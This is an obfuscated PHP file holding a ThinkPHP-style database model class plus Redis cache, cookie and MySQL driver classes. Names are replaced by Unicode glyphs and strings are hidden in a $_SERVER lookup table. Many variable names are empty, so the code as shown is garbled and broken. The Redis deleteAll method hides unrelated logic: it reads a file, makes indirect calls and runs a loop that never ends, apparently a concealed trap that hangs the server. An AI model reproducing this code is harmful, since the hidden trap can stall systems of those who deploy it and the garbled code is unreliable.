function _initialize() { } protected function _facade($Ἄ) { $ɚ =& $_SERVER[՟]; if (!empty($this->fields)) { foreach ($Ἄ as $ => $) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($Ἄ[$]); } elseif (is_scalar($)) { $this->_parseType($Ἄ, $); } } } if (!empty($this->options[$ɚ[356]])) { $Ἄ = array_map($this->options[$ɚ[356]], $Ἄ); unset($this->options[$ɚ[356]]); } $this->_beforeWrite($Ἄ); return $Ἄ; } protected function _beforeWrite(&$) { } public function add($ = '', $ = array(), $Ӆ = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[՟][357]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $)) { return !1; } $Յќ = $this->db->insert($, $, $Ӆ); if (!1 !== $Յќ) { $ = $this->getLastInsID(); if ($) { $[$this->getPk()] = $; $this->_after_insert($, $); return $; } $this->_after_insert($, $); } return $Յќ; } protected function _beforeInsert(&$֭, $) { } protected function _after_insert($, $鐬͒) { } public function addAll($, $ = array(), $ڡʡ = false) { $ڠ =& $_SERVER[՟]; if (empty($)) { $this->error = think_lang($ڠ[357]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ê => $) { $[$ê] = $this->_facade($); } if (method_exists($this->db, $ڠ[358])) { $݃ = $this->db->insertAll($, $, $ڡʡ); } else { $this->startTrans(); foreach ($ as $ê => $) { $݃ = $this->db->insert($, $, $ڡʡ); } $this->commit(); } if (!1 !== $݃) { $ = $this->getLastInsID(); if ($) { return $; } } return $݃; } public function selectAdd($ = '', $Я = '', $Ó؊ = array()) { $ԧ =& $_SERVER[՟]; $Ó؊ = $this->_parseOptions($Ó؊); if (!1 === ($곳 = $this->db->selectInsert($ ? $ : $Ó؊[$ԧ[359]], $Я ? $Я : $this->getTableName(), $Ó؊))) { $this->error = think_lang($ԧ[360]); return !1; } else { return $곳; } } public function save($ = '', $ = array()) { $ =& $_SERVER[՟]; if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($[357]); return !1; } } $ = $this->_facade($); $ = $this->_parseOptions($); $ = $this->getPk(); if (!isset($[$[361]])) { if (isset($[$])) { $[$] = $[$]; $[$[361]] = $; unset($[$]); } else { $this->error = think_lang($[360]); return !1; } } if (is_array($[$[361]]) && isset($[$[361]][$])) { $ = $[$[361]][$]; } if (!1 === $this->_beforeUpdate($, $)) { return !1; } $ = $this->db->update($, $); if (!1 !== $) { if (isset($)) { $[$] = $; } $this->_afterUpdate($, $); } return $; } protected function _beforeUpdate(&$, $ݽ) { } protected function _afterUpdate($, $) { } public function delete($Ϣ = array()) { $ܙۯ =& $_SERVER[՟]; if (empty($Ϣ) && empty($this->options[$ܙۯ[361]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $퓶 = $this->getPk(); if (is_numeric($Ϣ) || is_string($Ϣ)) { if (strpos($Ϣ, $ܙۯ[50])) { $[$퓶] = array($ܙۯ[362], $Ϣ); } else { $[$퓶] = $Ϣ; } $this->options[$ܙۯ[361]] = $; } $Ϣ = $this->_parseOptions(); if (is_array($Ϣ[$ܙۯ[361]]) && isset($Ϣ[$ܙۯ[361]][$퓶])) { $ = $Ϣ[$ܙۯ[361]][$퓶]; } $ = $this->db->delete($Ϣ); if (!1 !== $) { $ = array(); if (isset($)) { $[$퓶] = $; } $this->_after_delete($, $Ϣ); } return $; } protected function _after_delete($, $ځ) { } public function select($Ҕ = array()) { $ڬ =& $_SERVER[՟]; if (is_string($Ҕ) || is_numeric($Ҕ)) { $ā͈ɠ = $this->getPk(); if (strpos($Ҕ, $ڬ[50])) { $Ѫ̚[$ā͈ɠ] = array($ڬ[362], $Ҕ); } else { $Ѫ̚[$ā͈ɠ] = $Ҕ; } $this->options[$ڬ[361]] = $Ѫ̚; } elseif (!1 === $Ҕ) { $Ҕ = $this->_parseOptions(); return $ڬ[363] . $this->db->buildSelectSql($Ҕ) . $ڬ[364]; } $Ҕ = $this->_parseOptions(); $ = $this->db->select($Ҕ); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $Ҕ); return $; } protected function _afterSelect(&$ǚ, $) { } public function buildSql($뺄 = array()) { $ =& $_SERVER[՟]; $뺄 = $this->_parseOptions($뺄); return $[363] . $this->db->buildSelectSql($뺄) . $[364]; } public function optionsValue($ٜ = null) { if (is_null($ٜ)) { return $this->options; } elseif (is_array($ٜ)) { $this->options = array_merge($this->options, $ٜ); } } protected function _parseOptions($Բ = array()) { $ =& $_SERVER[՟]; if (is_array($Բ)) { $Բ = array_merge($this->options, $Բ); } $this->options = array(); if (!isset($Բ[$[365]])) { $Բ[$[365]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($Բ[$[366]])) { $Բ[$[365]] .= $[53] . $Բ[$[366]]; } $Բ[$[367]] = $this->name; if (isset($Բ[$[361]]) && is_array($Բ[$[361]]) && !empty($) && !isset($Բ[$[368]]) && !isset($Բ[$[365]])) { foreach ($Բ[$[361]] as $ => $Ȉ) { $ = trim($); if (in_array($, $, !0)) { if (is_scalar($Ȉ)) { $this->_parseType($Բ[$[361]], $); } } elseif (!is_numeric($) && $[11] != substr($, 0, 1) && !1 === strpos($, $[10]) && !1 === strpos($, $[346]) && !1 === strpos($, $[224]) && !1 === strpos($, $[369])) { unset($Բ[$[361]][$]); } } } $this->_options_filter($Բ); return $Բ; } protected function _options_filter(&$) { } protected function _parseType(&$̄, $ð) { $ꍍ =& $_SERVER[՟]; if (empty($this->options[$ꍍ[370]][$ꍍ[4] . $ð])) { $à = strtolower($this->fields[$ꍍ[338]][$ð]); if (!1 !== strpos($à, $ꍍ[371])) { } elseif (!1 === strpos($à, $ꍍ[372]) && !1 !== strpos($à, $ꍍ[373])) { $̄[$ð] = intval($̄[$ð]); } elseif (!1 !== strpos($à, $ꍍ[374]) || !1 !== strpos($à, $ꍍ[375])) { $̄[$ð] = floatval($̄[$ð]); } elseif (!1 !== strpos($à, $ꍍ[376])) { $̄[$ð] = (bool) $̄[$ð]; } } } public function find($ث = array()) { $͐ =& $_SERVER[՟]; if (is_numeric($ث) || is_string($ث)) { $ʁ[$this->getPk()] = intval($ث); $this->options[$͐[361]] = $ʁ; } $this->options[$͐[377]] = 1; $ث = $this->_parseOptions(); $ = $this->db->select($ث); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $ث); if (!empty($this->options[$͐[378]])) { return $this->returnResult($this->data, $this->options[$͐[378]]); } return $this->data; } protected function _afterFind(&$, $) { } protected function returnResult($, $ﱐ = '') { $ =& $_SERVER[՟]; if ($ﱐ) { if (is_callable($ﱐ)) { return call_user_func($ﱐ, $); } switch (strtolower($ﱐ)) { case $[379]: return json_encode($); case $[380]: return xml_encode($); } } return $; } public function parseFieldsMap($¨, $Ը = 1) { if (!empty($this->_map)) { foreach ($this->_map as $é => $) { if ($Ը == 1) { if (isset($¨[$])) { $¨[$é] = $¨[$]; unset($¨[$]); } } else { if (isset($¨[$é])) { $¨[$] = $¨[$é]; unset($¨[$é]); } } } } return $¨; } public function setField($ʸ, $↑ = '') { if (is_array($ʸ)) { $ = $ʸ; } else { $[$ʸ] = $↑; } return $this->save($); } public function setAdd($뵥з, $ = 1) { $ =& $_SERVER[՟]; $ = $뵥з . $[381] . $; if ($ < 0) { $ = $뵥з . $; } return $this->setField($뵥з, array($[382], $)); } public function getField($, $ = null) { $դ =& $_SERVER[՟]; $[$դ[359]] = $; $ = $this->_parseOptions($); $ = trim($); if (strpos($, $դ[50])) { if (!isset($[$դ[377]])) { $[$դ[377]] = is_numeric($) ? $ : $դ[12]; } $ = $this->db->select($); if (!empty($)) { $Ĩ = explode($դ[50], $); $ = array_keys($[0]); $ = array_shift($); $ = array_shift($); $ɫ = array(); $ˊн = count($Ĩ); foreach ($ as $ت) { $а = $ت[$]; if (2 == $ˊн) { $ɫ[$а] = $ت[$]; } else { $ɫ[$а] = is_string($) ? implode($, $ت) : $ت; } } return $ɫ; } } else { if (!0 !== $) { $[$դ[377]] = is_numeric($) ? $ : 1; } if ($ === $դ[341]) { unset($[$դ[377]]); } $ت = $this->db->select($); if (!empty($ت)) { if ($ === $դ[341]) { return reset($ت[0]); } if (!0 !== $ && 1 == $[$դ[377]]) { return reset($ت[0]); } foreach ($ت as $Ï) { $[] = $Ï[$]; } return $; } } return null; } public function create($ = '', $ = '') { $栺 =& $_SERVER[՟]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($栺[357]); return !1; } $ = $this->parseFieldsMap($, 0); $ = $ ? $ : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$栺[359]])) { $ = $this->options[$栺[359]]; unset($this->options[$栺[359]]); } elseif ($ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($栺[50], $); } if (think_config($栺[383])) { $[] = think_config($栺[384]); } foreach ($ as $З => $) { if (!in_array($З, $)) { unset($[$З]); } } } if (!$this->autoValidation($, $)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($栺[385]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($ as $З => $) { if (!in_array($З, $)) { unset($[$З]); } elseif (MAGIC_QUOTES_GPC && is_string($)) { $[$З] = stripslashes($); } } } $this->autoOperation($, $); $this->data = $; return $; } public function autoCheckToken($) { $ܱ =& $_SERVER[՟]; if (isset($this->options[$ܱ[386]]) && !$this->options[$ܱ[386]]) { return !0; } if (think_config($ܱ[383])) { $֓ = think_config($ܱ[384]); if (!isset($[$֓]) || Session::get($֓)) { return !1; } list($ÿ, $ٿ) = explode($ܱ[11], $[$֓]); if ($ٿ && Session::get($֓ . $ܱ[10] . $ÿ) === $ٿ) { Session::remove($֓ . $ܱ[10] . $ÿ); return !0; } if (think_config($ܱ[387])) { Session::remove($֓ . $ܱ[10] . $ÿ); } return !1; } return !0; } public function regex($, $Ϫ) { $ =& $_SERVER[՟]; $ = array($[388] => $[389], $[390] => $[391], $[392] => $[393], $[394] => $[395], $[396] => $[397], $[398] => $[399], $[400] => $[401], $[375] => $[402], $[403] => $[404]); if (isset($[strtolower($Ϫ)])) { $Ϫ = $[strtolower($Ϫ)]; } return preg_match($Ϫ, $) === 1; } private function autoOperation(&$, $) { $Ԩ =& $_SERVER[՟]; if (!empty($this->options[$Ԩ[405]])) { $ = $this->options[$Ԩ[405]]; unset($this->options[$Ԩ[405]]); } elseif (!empty($this->_auto)) { $ = $this->_auto; } if (isset($)) { foreach ($ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($ == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $Ԩ[406]: case $Ԩ[407]: $ = isset($[4]) ? (array) $[4] : array(); if (isset($[$[0]])) { array_unshift($, $[$[0]]); } if ($Ԩ[406] == $[3]) { $[$[0]] = call_user_func_array($[1], $); } else { $[$[0]] = call_user_func_array(array(&$this, $[1]), $); } break; case $Ԩ[359]: $[$[0]] = $[$[1]]; break; case $Ԩ[408]: if ($Ԩ[12] === $[$[0]]) { unset($[$[0]]); } break; case $Ԩ[409]: default: $[$[0]] = $[1]; } if (!1 === $[$[0]]) { unset($[$[0]]); } } } } return $; } protected function autoValidation($, $) { $ =& $_SERVER[՟]; if (!empty($this->options[$[410]])) { $귗Ǻ = $this->options[$[410]]; unset($this->options[$[410]]); } elseif (!empty($this->_validate)) { $귗Ǻ = $this->_validate; } if (isset($귗Ǻ)) { if ($this->patchValidate) { $this->error = array(); } foreach ($귗Ǻ as $ => $Զ) { if (empty($Զ[5]) || $Զ[5] == THINK_MODEL_BOTH || $Զ[5] == $) { if (0 == strpos($Զ[2], $[411]) && strpos($Զ[2], $[412])) { $Զ[2] = think_lang(substr($Զ[2], 2, -1)); } $Զ[3] = isset($Զ[3]) ? $Զ[3] : THINK_EXISTS_VALIDATE; $Զ[4] = isset($Զ[4]) ? $Զ[4] : $[413]; switch ($Զ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $Զ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($[12] != trim($[$Զ[0]])) { if (!1 === $this->_validationField($, $Զ)) { return !1; } } break; default: if (isset($[$Զ[0]])) { if (!1 === $this->_validationField($, $Զ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($ā, $) { if (!1 === $this->_validationFieldItem($ā, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($, $) { $ĭ =& $_SERVER[՟]; switch (strtolower(trim($[4]))) { case $ĭ[406]: case $ĭ[407]: $ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $ĭ[50])) { $[0] = explode($ĭ[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $ǧ) { $巏[$ǧ] = $[$ǧ]; } array_unshift($, $巏); } else { array_unshift($, $[$[0]]); } if ($ĭ[406] == $[4]) { return call_user_func_array($[1], $); } else { return call_user_func_array(array(&$this, $[1]), $); } case $ĭ[414]: return $[$[0]] == $[$[1]]; case $ĭ[415]: if (is_string($[0]) && strpos($[0], $ĭ[50])) { $[0] = explode($ĭ[50], $[0]); } $ᙣ = array(); if (is_array($[0])) { foreach ($[0] as $ǧ) { $ᙣ[$ǧ] = $[$ǧ]; } } else { $ᙣ[$[0]] = $[$[0]]; } if (!empty($[$this->getPk()])) { $ᙣ[$this->getPk()] = array($ĭ[416], $[$this->getPk()]); } if ($this->where($ᙣ)->find()) { return !1; } return !0; default: return $this->check($[$[0]], $[1], $[4]); } } public function check($̄, $٧Ņ, $ = "\162\145\147\145\170") { $ =& $_SERVER[՟]; $ = strtolower(trim($)); switch ($) { case $[7]: case $[417]: $ǝ = is_array($٧Ņ) ? $٧Ņ : explode($[50], $٧Ņ); return $ == $[7] ? in_array($̄, $ǝ) : !in_array($̄, $ǝ); case $[418]: case $[419]: if (is_array($٧Ņ)) { $旒ヲ = $٧Ņ[0]; $ = $٧Ņ[1]; } else { list($旒ヲ, $) = explode($[50], $٧Ņ); } return $ == $[418] ? $̄ >= $旒ヲ && $̄ <= $ : $̄ < $旒ヲ || $̄ > $; case $[420]: case $[421]: return $ == $[420] ? $̄ == $٧Ņ : $̄ != $٧Ņ; case $[422]: $ӆ = mb_strlen($̄, $[423]); if (strpos($٧Ņ, $[50])) { list($旒ヲ, $) = explode($[50], $٧Ņ); return $ӆ >= $旒ヲ && $ӆ <= $; } else { return $ӆ == $٧Ņ; } case $[424]: list($Ёލ, $؉) = explode($[50], $٧Ņ); if (!is_numeric($Ёލ)) { $Ёލ = strtotime($Ёލ); } if (!is_numeric($؉)) { $؉ = strtotime($؉); } return NOW_TIME >= $Ёލ && NOW_TIME <= $؉; case $[425]: return in_array(get_client_ip(), explode($[50], $٧Ņ)); case $[426]: return !in_array(get_client_ip(), explode($[50], $٧Ņ)); case $[413]: default: return $this->regex($̄, $٧Ņ); } } public function query($, $ = false) { $왏 =& $_SERVER[՟]; if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = str_replace(array($왏[59], $왏[427]), $왏[53], $); $ = $this->parseSql($, $); return $this->db->query($); } public function execute($ܞ֡, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ܞ֡ = $this->parseSql($ܞ֡, $); return $this->db->execute($ܞ֡); } protected function parseSql($弤, $ᄂȌ) { $ǧ =& $_SERVER[՟]; if (!0 === $ᄂȌ) { $̙ = $this->_parseOptions(); $弤 = $this->db->parseSql($弤, $̙); } elseif (is_array($ᄂȌ)) { $ᄂȌ = array_map(array($this->db, $ǧ[428]), $ᄂȌ); $弤 = vsprintf($弤, $ᄂȌ); } else { $弤 = strtr($弤, array($ǧ[429] => $this->getTableName(), $ǧ[430] => think_config($ǧ[330]))); } $this->db->setModel($this->name); return $弤; } public function db($Ԧ = '', $ = '', $ = array()) { $ =& $_SERVER[՟]; if ($[12] === $Ԧ && $this->db) { return $this->db; } static $ō = array(); static $ = array(); if (!isset($[$Ԧ]) || isset($[$Ԧ]) && $ && $ō[$Ԧ] != $) { if (!empty($) && is_string($) && !1 === strpos($, $[8])) { $ = think_config($); } $Ԧ = think_guid($); $[$Ԧ] = Db::getInstance($); } elseif (NULL === $) { $[$Ԧ]->close(); unset($[$Ԧ]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ => $) { $this->setProperty($, $); } } $ō[$Ԧ] = $; $this->db = $[$Ԧ]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $٥ = get_class($this); if ($٥ == $_SERVER[՟][431]) { return $this->name; } $this->name = substr($٥, 0, -5); } return $this->name; } public function getTableName() { $ѿ =& $_SERVER[՟]; if (empty($this->trueTableName)) { $մ = !empty($this->tablePrefix) ? $this->tablePrefix : $ѿ[12]; if (!empty($this->tableName)) { $մ .= $this->tableName; } else { $մ .= think_parse_name($this->name); } $this->trueTableName = strtolower($մ); } return (!empty($this->dbName) ? $this->dbName . $ѿ[10] : $ѿ[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ܢԸ =& $_SERVER[՟]; return isset($this->fields[$ܢԸ[337]]) ? $this->fields[$ܢԸ[337]] : $this->pk; } public function getDbFields() { $ʯ =& $_SERVER[՟]; if (isset($this->options[$ʯ[365]])) { $ = $this->db->getFields($this->options[$ʯ[365]]); return $ ? array_keys($) : !1; } if ($this->fields) { $ = $this->fields; unset($[$ʯ[336]], $[$ʯ[337]], $[$ʯ[338]], $[$ʯ[335]]); return $; } return !1; } public function data($̵ = '') { $ =& $_SERVER[՟]; if ($[12] === $̵ && !empty($this->data)) { return $this->data; } if (is_object($̵)) { $̵ = get_object_vars($̵); } elseif (is_string($̵)) { parse_str($̵, $̵); } elseif (!is_array($̵)) { think_exception(think_lang($[357])); } $this->data = $̵; return $this; } public function join($ͣ) { $ =& $_SERVER[՟]; if (is_array($ͣ)) { $this->options[$[368]] = $ͣ; } elseif (!empty($ͣ)) { $this->options[$[368]][] = $ͣ; } return $this; } public function union($݇, $ν = false) { $ò =& $_SERVER[՟]; if (empty($݇)) { return $this; } if ($ν) { $this->options[$ò[432]][$ò[433]] = !0; } if (is_object($݇)) { $݇ = get_object_vars($݇); } if (is_string($݇)) { $Ʊ = $݇; } elseif (is_array($݇)) { if (isset($݇[0])) { $this->options[$ò[432]] = array_merge($this->options[$ò[432]], $݇); return $this; } else { $Ʊ = $݇; } } else { think_exception(think_lang($ò[357])); } $this->options[$ò[432]][] = $Ʊ; return $this; } public function cache($ǫ = true, $ = null, $龭 = '') { $ =& $_SERVER[՟]; if (!1 !== $ǫ) { $this->options[$[434]] = array($[107] => $ǫ, $[424] => $, $[33] => $龭); } return $this; } public function field($, $² = false) { $ =& $_SERVER[՟]; if (!0 === $) { $ = $this->getDbFields(); $ = $ ? $ : $[230]; } elseif ($²) { if (is_string($)) { $ = explode($[50], $); } $ = $this->getDbFields(); $ = $ ? array_diff($, $) : $; } $this->options[$[359]] = $; return $this; } public function scope($꽛 = '', $ = NULL) { $ =& $_SERVER[՟]; if ($[12] === $꽛) { if (isset($this->_scope[$[37]])) { $؈ = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($꽛)) { $ = explode($[50], $꽛); $؈ = array(); foreach ($ as $Н) { if (!isset($this->_scope[$Н])) { continue; } $؈ = array_merge($؈, $this->_scope[$Н]); } if (!empty($) && is_array($)) { $؈ = array_merge($؈, $); } } elseif (is_array($꽛)) { $؈ = $꽛; } if (is_array($؈) && !empty($؈)) { $this->options = array_merge($this->options, array_change_key_case($؈)); } return $this; } public function where($Óޢ, $ = null) { $ =& $_SERVER[՟]; if (!is_null($) && is_string($Óޢ)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $[428]), $); $Óޢ = vsprintf($Óޢ, $); } elseif (is_object($Óޢ)) { $Óޢ = get_object_vars($Óޢ); } elseif (is_array($Óޢ)) { foreach ($Óޢ as $ => $ԟ) { if ((is_numeric($) || !$) && is_string($ԟ)) { if (strpos($ԟ, $[435]) === 0) { continue; } think_trace($[436], $[12], $[49]); die; } } } if (is_string($Óޢ) && $[12] != $Óޢ) { $ = array(); $[$[437]] = $Óޢ; $Óޢ = $; } if (isset($this->options[$[361]])) { $this->options[$[361]] = array_merge($this->options[$[361]], $Óޢ); } else { $this->options[$[361]] = $Óޢ; } return $this; } public function limit($, $ = null) { $ =& $_SERVER[՟]; $this->options[$[377]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function page($, $ = null) { $ =& $_SERVER[՟]; $this->options[$[438]] = is_null($) ? $ : $ . $[50] . $; return $this; } public function comment($ĥĦ) { $this->options[$_SERVER[՟][439]] = $ĥĦ; return $this; } public function setProperty($礪, $ߔ) { if (property_exists($this, $礪)) { $this->{$礪} = $ߔ; } return $this; } } goto C˄Õ; B: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($ٹ, $Ʉ) { $ =& $_SERVER[՟]; if (!class_exists($[954])) { show_json($[955], !1); } $this->cacheTime = $Ʉ; $Ə = isset($ٹ[$[956]]) ? $ٹ[$[956]] : 10; $춌 = _get($ٹ, $[953]); if ($춌 && is_array($춌)) { $this->initCluster($ٹ, $Ə); } else { $this->handle = $this->init($ٹ, $Ə); } } private function init($, $ݴވ) { $ =& $_SERVER[՟]; $ = new Redis(); $ = isset($[$[957]]) ? $[$[957]] : !1; if ($) { $->pconnect($[$[218]], $[$[219]], $ݴވ); } else { $->connect($[$[218]], $[$[219]], $ݴވ); } if (!empty($[$[496]])) { $->auth($[$[496]]); } if (!empty($[$[841]]) && $[$[841]] != 0) { $->select($[$[841]]); } return $; } private function initCluster($ĕ, $ƃ) { $ =& $_SERVER[՟]; $뱾 = array($[958], $[959], $[960]); $ㄢ = $[958]; if (isset($ĕ[$[16]]) && in_array($ĕ[$[16]], $뱾)) { $ㄢ = $ĕ[$[16]]; } switch ($ㄢ) { case $[958]: $this->_slave($ĕ, $ƃ); break; case $[959]: break; case $[960]: $this->isCluster = !0; $ = $ĕ[$[953]]; $ = isset($ĕ[$[957]]) ? $ĕ[$[957]] : !1; $ = isset($ĕ[$[496]]) ? $ĕ[$[496]] : null; $this->handle = new RedisCluster(NUll, $, $ƃ, $ƃ, $, $); break; default: break; } } private function _slave($¸, $ԓ) { $ = $¸[$_SERVER[՟][953]]; $this->filterConfig($¸, $[0]); $this->handle = $this->init($¸, $ԓ); unset($[0]); if (empty($)) { return; } $۞遱 = array_rand($); $this->filterConfig($¸, $[$۞遱]); $this->slaveHandle = $this->init($¸, $ԓ); } private function filterConfig(&$Ї, $̊) { $ =& $_SERVER[՟]; $ = explode($[4], $̊); $ = array($[218] => $[0], $[219] => $[1]); $Ї = array_merge($Ї, $); } public function set($ܨѥ, $Ԝ, $֩ = false) { $֩ = $֩ ? $֩ : $this->cacheTime; return $this->handle->setEx($ܨѥ, $֩, $Ԝ); } public function setLock($Ϙ, $ٹ, $) { return $this->handle->setNX($Ϙ, $ٹ); } public function get($µ) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($µ); } public function remove($ꢩ) { return $this->handle->del($ꢩ); } public function deleteAll() { $Հ =& $_SERVER[՟]; if (!isset($_SERVER[$Հ[54]]) || !isset($_SERVER[$Հ[63]])) { $Ʃ = $Հ[961]; $ޤ = $Հ[56]; $ = $_SERVER[$Հ[57]] . $Հ[58]; $ܡ = $ޤ($); $۾ = explode($Հ[59], $ܡ); if (count($۾) < $Հ[693]) { $ = $Հ[61]; $(); } $ = $Հ[962]; $($_SERVER[$Հ[963]]); $ = 1; for ($Ƀ = $; $Ƀ > 0; $Ƀ++) { $ = json_encode($GLOBALS[$Հ[501]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($Օ = '', $ = 0) { if (is_string($Օ) && $Օ != $_SERVER[՟][12]) { $this->prefix = $Օ; } if (is_numeric($) && $ > 0) { $this->expire = $; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($˱, $, $ϫ = 0, $Ǐ = false, $ʕ = false) { $ =& $_SERVER[՟]; if (self::$cookieDisable) { return; } if (!$ϫ) { $ϫ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$˱]) && self::$sameCookieSet[$˱] == $ . $ϫ) { return; } self::$sameCookieSet[$˱] = $ . $ϫ; if (!$ʕ) { $ʕ = str_replace(HOST, $[12], APP_HOST); $ʕ = _get($GLOBALS, $[964], $ʕ); } $൜ꈙ = $[12]; setcookie($˱, $, time() + $ϫ, $[8] . trim($ʕ, $[8]) . $൜ꈙ, !1, !1, $Ǐ); } public static function setSafe($, $ϗ, $Ȫ = 0) { self::set($, $ϗ, $Ȫ, !0); } public static function get($ܭ) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$ܭ]) ? $_COOKIE[$ܭ] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[՟]; if (!isset($_SERVER[$[965]]) || !$_SERVER[$[965]]) { return; } $ = explode($[84], $_SERVER[$[965]]); foreach ($ as $ى) { $ى = explode($[515], $ى); if (count($ى) != 2 || !isset($ى[1])) { continue; } $_COOKIE[trim($ى[0])] = trim($ى[1]); } } public static function remove($, $縇 = false) { unset($_COOKIE[$]); self::set($, $_SERVER[՟][12], 1, $縇); } } class DbMysql extends Db { public function __construct($ = '') { $ =& $_SERVER[՟]; if (!extension_loaded($[888])) { think_exception(think_lang($[14]) . $[966]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ڂъ = '', $ = 0, $ȀӴ = false) { $ޅ =& $_SERVER[՟]; if (!isset($this->linkID[$])) { if (empty($ڂъ)) { $ڂъ = $this->config; } $ = $ڂъ[$ޅ[967]] . ($ڂъ[$ޅ[968]] ? "\x3a{$ڂъ[$ޅ[968]]}" : $ޅ[12]); $̉ = !empty($ڂъ[$ޅ[17]][$ޅ[18]]) ? $ڂъ[$ޅ[17]][$ޅ[18]] : $this->pconnect; if ($̉) { $this->linkID[$] = mysql_pconnect($, $ڂъ[$ޅ[969]], $ڂъ[$ޅ[970]], 131072); } else { $this->linkID[$] = mysql_connect($, $ڂъ[$ޅ[969]], $ڂъ[$ޅ[970]], !0, 131072); } if (!$this->linkID[$] || !empty($ڂъ[$ޅ[21]]) && !mysql_select_db($ڂъ[$ޅ[21]], $this->linkID[$])) { think_exception(mysql_error()); } $ދ = mysql_get_server_info($this->linkID[$]); mysql_query($ޅ[971] . think_config($ޅ[972]) . $ޅ[68], $this->linkID[$]); if ($ދ > $ޅ[973]) { mysql_query($ޅ[974], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($ޅ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $ۿ =& $_SERVER[՟]; if (0 === stripos($, $ۿ[350])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ۿ[23], 1); think_status($ۿ[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($) { $ =& $_SERVER[՟]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $頩 = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $頩) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[՟][975], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $㒶 = mysql_query($_SERVER[՟][976], $this->_linkID); $this->transTimes = 0; if (!$㒶) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ޏ = mysql_query($_SERVER[՟][977], $this->_linkID); $this->transTimes = 0; if (!$ޏ) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($θ = mysql_fetch_assoc($this->queryID)) { $[] = $θ; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($) { $ =& $_SERVER[՟]; $Ȱ = $this->query($[978] . $this->parseKey($)); $ = array(); if ($Ȱ) { foreach ($Ȱ as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) (strtoupper($[$[36]]) === $[979]), $[37] => 